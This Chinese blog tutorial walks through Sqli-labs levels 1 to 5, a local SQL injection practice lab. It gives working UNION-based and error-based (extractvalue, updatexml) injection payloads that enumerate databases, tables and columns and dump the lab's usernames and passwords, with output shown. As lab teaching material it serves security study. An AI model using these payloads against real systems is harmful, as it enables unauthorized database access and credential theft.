一、SQL注入原理:
SQL注入就是用户输入的SQL语句到参数中,最终达到欺骗服务器执行恶意的SQL命令。
执行SQL注入的语句:
select * from 数据库 where id =' 1' and 1=1 -- ' ; //字符型 输入 1' and 1=1 --
select * from 数据库 where id = 1 and 1=1 -- ; //数字型 输入1 and 1=1 --
字符型需要闭合掉单引号,两者都是通过--注释掉后面的代码,执行and 1=1 语句,可以配合用and 1=2 来验证语句是否执行。
二、Sqli-labs下载
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。博客地址为:
http://dummy2dummies.blogspot.hk/,博客当中有一些示例,国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频,在youtube上可以查看。ps:印度人讲英语口音太重了。。。。凑合着听懂点。
此处考虑到有些朋友不会FQ,遂分享到国内地址。
http://pan.baidu.com/s/1bo2L1JT
Ps:不想看视频的可以直接忽略视频,口音实在脑门疼,此处本来想自己录视频的,但现在来看,时间比较有限
Sqli-labs项目地址---Github获取:https://github.com/Audi-1/sqli-labs
(考虑到安全性问题,就不搬运这个了)
三、Sqli-labs安装
需要安装以下环境
-
apache+mysql+php
-
Tomcat+mysql+java(部分关卡需要)
如果可以的话,推荐在windows和linux下分别安装:
Windows下可以用wamp、phpstudy、apmserv等直接安装,linux下可在网上搜索教程进行安装。例如ubuntu下,新手基本靠软件中心和apt-get 进行安装。这里就不赘述环境的安装了。
我的测试环境是windows下用wamp直接搭建的,linux平台用ubuntu14.04,apache+mysql+php
同时,在后面的几个关卡中,需要用到tomcat+java+mysql的服务器,此处因已经安装apache+mysql+php,所以我们需要安装tomcat+jre+java连接mysql的jar,具体过程不详细讲解。
Sqli-labs安装
将之前下载的源码解压到web目录下,linux的apache为 /var/www/html下,windows下的wamp解压在www目录下。
修改sql-connections/db-creds.inc文件当中的mysql账号密码
将user和pass修改你的mysql 的账号和密码,访问127.0.0.1的页面,点击
进行安装数据库的创建,至此,安装结束。我们就可以开始游戏了。
四、Sqli-labs通关
在源码中添加两行代码便于调试
1 echo "有效输入:".$id."<br>"; 2 echo "执行的MySQL语句为:"."$sql"."<br>";
Less-1:字符型SQL注入漏洞,直接注入:
1、判断注入点:
输入:http://localhost/sqli-labs/Less-1/?id=1' and 1=1 --+
执行的MySQL语句为:SELECT * FROM users WHERE id='1' and 1=1 -- 'LIMIT 0,1
2、查询列数:
order by 方法查询:
输入:http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+
执行的MySQL语句为:SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1
输入:http://localhost/sqli-labs/Less-1/?id=1' order by 4--+
报错,说明表格为3列。
union方法查询:
输入:http://localhost/sqli-labs/Less-1/?id=1' union select null,null,null '
执行的MySQL语句为:SELECT * FROM users WHERE id='1' union select null,null,null '' LIMIT 0,1
http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3 '
执行的MySQL语句为:SELECT * FROM users WHERE id='1' union select 1,2,3'' LIMIT 0,1
http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3 and '1'=1'
执行的MySQL语句为:SELECT * FROM users WHERE id='1' union select 1,2,3 and '1'=1'' LIMIT 0,1
3、查询数据库信息
先介绍几个函数:
(1)version():查看数据库版本
(2)user():查看当前用户
(3)database():查看使用的数据库
(4) limit :limit子句来分批获取所有数据
(5)group_concat():一次性获取数据库信息。
http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select null,user(),database() ' //使用id=1' and 1=2 或者id=-1出错爆版本
执行的MySQL语句为:SELECT * FROM users WHERE id='1' and 1=2 union select null,user(),database() '' LIMIT 0,1
查询数据库名信息的语句:
http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
4、爆数据:
security:0x7365637572697479
user:0x7573657273
输入:http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select null,group_concat(column_name),null from information_schema.columns where table_name=0x7573657273 and '1' = '1
输入:http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select null,username,password from users --+
group_concat用法:
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
select id,group_concat(username separator" ; " ) from users; //group by id
5、查询所有数据库 information_schema -> schemata -> schema_name
SQL语句: select schema_name from information_schema.schemata;
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
6、查询所有表(security)information_schema -> tables -> table_name table_schema
SQL语句查询数据表:
select group_concat(table_name) from information_schema.tables where table_schema="security";
可以用十六进制也可以直接用字符:
http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,database() --+
http://localhost/sqli-labs/less-1/?id=1' and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database() ) --+
7、获取字段名:
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),3 --+
限制获取security库,user表的字段
localhost//sqli-labs/less-1/?id=-1' and 1=1 union select 1,database(), (select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema ="security" ) --+
8、获取数据(显示users里面的用户和密码)
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(0x5c,username,0x5c,password) from users),3 --+
--------------------完成了------------------------------
总结:
表名:table_name;
字段名(列名):column_name
爆值:group_concat(username,0x3a,passdword)
ASCII:
0x3a(:) 0x5c(\)
练习第2次:
查询库:
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(schema_name) from information_schema.schemata) --+
Your Login name:security
Your Password:information_schema,aaa,challenges,discuz,dvwa,fendo,jokeDB,mysql,performance_schema,security,test,user
查询表:
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema ="security") --+
Your Login name:security
Your Password:emails,referers,uagents,users
查询列:
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name ="users" and TABLE_SCHEMA = "security" ) --+
Your Login name:security
Your Password:id,username,password
综合:数据库:security 表有:emails,referers,uagents,users 数据列:id,username,password
查询数据:
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),(select group_concat(username,"||",password) from users ) --+
Your Login name:security
Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4
Less-2:
数字型SQL注入漏洞,直接注入:
http://localhost/sqli-labs/Less-2/?id=-1 and 1=1 union select 1,database(),(select group_concat(username,"||",password) from users) --+
Your Login name:security
Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4
Less-3:
SELECT * FROM users WHERE id=('1') and ('1'='2')
带括号的字符型SQL注入漏洞,直接注入:
http://localhost/sqli-labs/Less-3/?id=-1') union select 1,database(),(select group_concat(username,password) from users ) --+
Less-4:
使用")闭合。
http://localhost/sqli-labs/Less-4/?id=-1") union select 1,database(),(select group_concat(username,"||",password) from users ) --+
Less-5:
报错注入函数网站:http://www.cnblogs.com/Dleo/p/5493782.html
找注入点:
http://localhost/sqli-labs/Less-5/?id=1' and 1=2 --+
通过报错注入函数来显示:
http://localhost/sqli-labs/Less-5/?id=1' and (extractvalue(1,concat("||",(select database() ))) ) --+
报出数据:(通过调整limit中的第一个参数,来调整读取的数据行)
http://localhost/sqli-labs/Less-5/?id=1' and (extractvalue(1,concat("->>",(select concat(username,"||",password) from users limit 3,1 ))) ) --+
SQL命令行中:
select * from users where id=1 and (ExtractValue(1,concat("||",(select database() ))) );
显示:ERROR 1105 (HY000): XPATH syntax error: '||security'
ExtractValue,查询文档的函数
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
例如:select * from users where id=1 and (ExtractValue(2,concat("||",(select database() ))) );
注入方法:and extractvalue(1, concat(0x5c, (SQL语句)))
查database():
select * from users where id =1 and (ExtractValue(1,concat( '>',(select database())) ) );
查user():
select * from users where id =1 and (ExtractValue(id,concat( '>',(select user())) ) );
查version():
select * from users where id =1 and (ExtractValue(id,concat( '>',(select version())) ) );
查询数据:
http://localhost/sqli-labs/Less-5/?id=1' and (ExtractValue(1,concat('>',(select concat(username,"||",password) from users limit 2,1 )))) --+
Updatexml 查询:
用法:1=(updatexml(1,concat(">",(SQL语句)),1))
id = 1 and (updatexml(0x3a,concat(1,(select user())),1))
select * from users where id =1 and (updatexml(1,concat(">",(select version())),1 ));
select * from users where id =1 and (updatexml(1,concat(">",(select database())),1));
注意:当mysql版本>5.5.53时,无法利用exp()函数
参考:
关于SQL注入的五大报错注入函数
SQL注入之Sqli-labs系列第一关
使用exp函数进行SQL报错注入